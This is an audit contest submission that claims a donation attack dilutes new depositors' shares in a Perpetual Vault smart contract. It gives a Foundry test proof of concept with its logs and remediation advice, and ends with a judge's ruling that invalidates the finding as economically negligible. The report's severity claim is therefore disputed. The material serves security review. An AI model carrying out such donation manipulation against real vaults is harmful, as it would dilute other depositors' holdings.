DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

Unfair Share Allocation in Perpetual Vault Due to Donation Attack

Summary

The Perpetual Vault contract is vulnerable to a Donation Attack, where an attacker can manipulate the share distribution mechanism by artificially increasing the vault’s total balance before new deposits are made. This results in new depositors receiving fewer shares than expected, effectively diluting their holdings.

Vulnerability Details

The vault’s share minting mechanism is based on the ratio of a user’s deposit to the total vault balance. However, the contract does not account for unexpected inflows (e.g., direct token transfers), which can inflate the vault’s balance before new deposits. This creates an unfair distribution of shares, where an attacker can strategically donate tokens to the vault, reducing the share allocation for future depositors.

Proof of Concept

The following test was conducted to demonstrate the impact of a donation attack:

Setup: Two vaults (vaultA and vaultB) were initialized with identical parameters.
First Deposits: A user (john) deposited into both vaults, establishing an initial share distribution.
Attack Execution:
An attacker donated extra collateral and index tokens directly to vaultA, increasing its balance artificially.
Second Deposits: Another user (alice) deposited the same amount into both vaults.
Observation:
The new shares minted in vaultA (the attacked vault) were significantly lower than in vaultB, proving that the donation had diluted Alice’s share allocation.

Code Setup
//Alright to prove this were gonna need two identical new vaults set up
address payable vaultA;
address payable vaultB;
function setUp() public {
..........
//paste this stuff right after the line mockData = new MockData(); this shold be the last line in setup
data = abi.encodeWithSelector(
GmxProxy.initialize.selector,
orderHandler,
liquidationHandler,
adlHandler,
gExchangeRouter,
gmxRouter,
dataStore,
orderVault,
gmxReader,
referralStorage
);
address gmxProxyA = address(
new TransparentUpgradeableProxy(
address(gmxUtilsLogic),
address(proxyAdmin),
data
)
);
payable(gmxProxyA).transfer(1 ether);
data = abi.encodeWithSelector(
PerpetualVault.initialize.selector,
address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336), // ethUsdcMarket,
keeper,
makeAddr("treasury"),
gmxProxyA,
reader,
1e8,
1e28,
10_000
);
vm.prank(address(this), address(this));
vaultA = payable(
new TransparentUpgradeableProxy(
address(perpetualVault),
address(proxyAdmin),
data
)
);
//valtB creation
data = abi.encodeWithSelector(
GmxProxy.initialize.selector,
orderHandler,
liquidationHandler,
adlHandler,
gExchangeRouter,
gmxRouter,
dataStore,
orderVault,
gmxReader,
referralStorage
);
address gmxProxyB = address(
new TransparentUpgradeableProxy(
address(gmxUtilsLogic),
address(proxyAdmin),
data
)
);
payable(gmxProxyB).transfer(1 ether);
data = abi.encodeWithSelector(
PerpetualVault.initialize.selector,
address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336), // ethUsdcMarket,
keeper,
makeAddr("treasury"),
gmxProxyB,
reader,
1e8,
1e28,
10_000
);
vm.prank(address(this), address(this));
vaultB = payable(
new TransparentUpgradeableProxy(
address(perpetualVault),
address(proxyAdmin),
data
)
);
}

Test Case function

forge test --mp test/PerpetualVault.t.sol --mt test_donationAttack --via-ir --rpc-url arbitrum -vv

//READ: test
function test_donationAttack() external {
// Assume vaultA and vaultB have been deployed in setUp() with identical parameters.
// Both vaults use the same collateral token.
IERC20 collateralA = PerpetualVault(vaultA).collateralToken();
IERC20 collateralB = PerpetualVault(vaultB).collateralToken();
// Set up deposit parameters.
uint256 depositAmount = 1e12; // example deposit amount
uint256 donationAmount = 1e10; // extra tokens donated directly
address john = makeAddr("john");
address alice = makeAddr("alice");
// --- Initial Deposit by John into both vaults ---
// For vaultB
vm.startPrank(john);
deal(address(collateralB), john, depositAmount);
collateralB.approve(vaultB, depositAmount);
uint256 execFeeB = PerpetualVault(vaultB).getExecutionGasLimit(true);
PerpetualVault(vaultB).deposit{value: execFeeB * tx.gasprice}(
depositAmount
);
vm.stopPrank();
// For vaultA
vm.startPrank(john);
deal(address(collateralA), john, depositAmount);
collateralA.approve(vaultA, depositAmount);
uint256 execFeeA_John = PerpetualVault(vaultA).getExecutionGasLimit(
true
);
PerpetualVault(vaultA).deposit{value: execFeeA_John * tx.gasprice}(
depositAmount
);
vm.stopPrank();
// Record total shares after John's deposits.
uint256 sharesBBefore = PerpetualVault(vaultB).totalShares();
uint256 sharesABefore = PerpetualVault(vaultA).totalShares();
// --- Attack: Simulate donation on vaultA ---
address attacker = makeAddr("attacker");
// Donate extra collateral tokens to vaultA.
deal(address(collateralA), attacker, donationAmount);
vm.prank(attacker);
collateralA.transfer(vaultA, donationAmount);
// Also donate extra index tokens into vaultA.
IERC20 indexTokenA = IERC20(PerpetualVault(vaultA).indexToken());
deal(address(indexTokenA), attacker, donationAmount);
vm.prank(attacker);
indexTokenA.transfer(vaultA, donationAmount);
// --- Now deposit by Alice into both vaults ---
// Deposit into vaultB (control)
vm.startPrank(alice);
deal(address(collateralB), alice, depositAmount);
collateralB.approve(vaultB, depositAmount);
execFeeB = PerpetualVault(vaultB).getExecutionGasLimit(true);
PerpetualVault(vaultB).deposit{value: execFeeB * tx.gasprice}(
depositAmount
);
uint256 sharesB = PerpetualVault(vaultB).totalShares();
vm.stopPrank();
// Deposit into vaultA (after donation)
vm.startPrank(alice);
deal(address(collateralA), alice, depositAmount);
collateralA.approve(vaultA, depositAmount);
uint256 execFeeA = PerpetualVault(vaultA).getExecutionGasLimit(true);
PerpetualVault(vaultA).deposit{value: execFeeA * tx.gasprice}(
depositAmount
);
uint256 sharesA = PerpetualVault(vaultA).totalShares();
vm.stopPrank();
// Log share totals.
console.log(
"VaultB (control) total shares after John's + Alice's deposit: ",
sharesB
);
console.log(
"VaultA (with donation) total shares after John's + Alice's deposit: ",
sharesA
);
console.log("VaultB shares before Alice deposit: ", sharesBBefore);
console.log("VaultA shares before Alice deposit: ", sharesABefore);
// Log collateral and index token balances for each vault.
uint256 collateralBalanceA = collateralA.balanceOf(vaultA);
uint256 indexBalanceA = IERC20(PerpetualVault(vaultA).indexToken())
.balanceOf(vaultA);
uint256 collateralBalanceB = collateralB.balanceOf(vaultB);
uint256 indexBalanceB = IERC20(PerpetualVault(vaultB).indexToken())
.balanceOf(vaultB);
console.log("VaultA collateral balance: ", collateralBalanceA);
console.log("VaultA index token balance: ", indexBalanceA);
console.log("VaultB collateral balance: ", collateralBalanceB);
console.log("VaultB index token balance: ", indexBalanceB);
// Since vaultA has an extra donation, the same depositAmount should mint fewer new shares.
// To check this, we compare the increment in shares for John+Alice deposits.
uint256 deltaSharesB = sharesB - sharesBBefore;
uint256 deltaSharesA = sharesA - sharesABefore;
console.log("New shares minted in vaultB: ", deltaSharesB);
console.log("New shares minted in vaultA: ", deltaSharesA);
// Assert that the new shares minted in vaultB are higher than those in vaultA.
assertGt(deltaSharesB, deltaSharesA);
}
Ran 1 test for test/PerpetualVault.t.sol:PerpetualVaultTest
[PASS] test_donationAttack() (gas: 1801324)
Logs:
VaultB (control) total shares after John's + Alice's deposit: 200000000000000000000
VaultA (with donation) total shares after John's + Alice's deposit: 199009900990099009900
VaultB shares before Alice deposit: 100000000000000000000
VaultA shares before Alice deposit: 100000000000000000000
VaultA collateral balance: 2010000000000
VaultA index token balance: 10000000000
VaultB collateral balance: 2000000000000
VaultB index token balance: 0
New shares minted in vaultB: 100000000000000000000
New shares minted in vaultA: 99009900990099009900
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 23.00ms (5.82ms CPU time)

Impact

Unfair Share Allocation: Future depositors receive significantly fewer shares than expected.
Value Dilution: Depositors unknowingly lose a portion of their ownership in the vault.
Potential Exploit: Attackers could repeatedly perform this attack to reduce the value of new deposits.

Tools Used

Manual Analysis

Recommendations

Track Net Deposits: Use an internal accounting system to track actual deposits and exclude unexpected inflows from share calculations.

Reject External Transfers: Restrict direct token transfers by reverting transactions where the vault receives collateral from an address other than the contract itself.

Normalize Share Calculation: Implement a logic that accounts for unexpected balance increases, ensuring fair share distribution.

Updates

Lead Judging Commences

n0kto Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

invalid_collateral_balanceOf_donation

Prevent tokens from getting stuck. This is a simple donation to every shareholder, and therefore, every share has more value (profit), leading to fewer shares for future users. If this is not intended by the user, it is merely a mistake! For totalAmountBefore > amount * totalShares, Here is the worst-case scenario (with the minimum amount): first deposit 0.001000 (e4) USDC → 1e12 shares. Second deposit: 0.001 (e4) USDC * 1e12 / 0.001 (e4) USDC. So, the attacker would need to donate 1e16 tokens, meaning 1e10 USDC → 10 billion $. Even in the worst case, it's informational.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!